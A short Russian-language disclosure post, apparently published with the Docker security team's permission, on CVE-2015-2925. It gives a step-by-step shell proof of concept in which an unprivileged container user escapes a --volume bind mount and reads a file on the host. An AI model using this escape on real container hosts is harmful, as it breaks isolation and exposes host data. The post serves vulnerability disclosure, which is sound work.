
Docker + CVE-2015-2925 = escaping from --volume
Недавняя уязвимость в Linux, известная около полугода (несколько месяцев публично), сделала возможным выход из bind-монтирований. В частности, в случае Docker это позволяет выйти изнутри каталога, смонтированного с помощью опции --volume, в соответствующую файловую систему хоста.
Команда безопасности Docker уже знает о проблеме и разрешила опубликовать это для привлечения общественного внимания.
Спасибо Jann Horn за указание на это; в основном я просто воспроизвел это.
Любого из следующего будет достаточно:
# uname -r
3.18.9-aufs
# zgrep USER_NS /proc/config.gz
CONFIG_USER_NS=y
# docker -v
Docker version 1.6.1, build 97cd073
# docker pull debian:jessie
# mkdir /test && chmod 777 /test
# echo escaped > /etc/hostdata && chmod 644 /etc/hostdata
# docker run -i -t --rm -v /test:/test -u nobody debian:jessie
nobody@fc8925af0f19:/$ unshare -m -U -r /bin/bash
root@fc8925af0f19:/# cd /test
root@fc8925af0f19:/test# mkdir A A/B C D
root@fc8925af0f19:/test# mount --bind A D
root@fc8925af0f19:/test# cd D/B
root@fc8925af0f19:/test/D/B# mv /test/A/B /test/C
root@fc8925af0f19:/test/D/B# cat ../../../etc/hostdata
escaped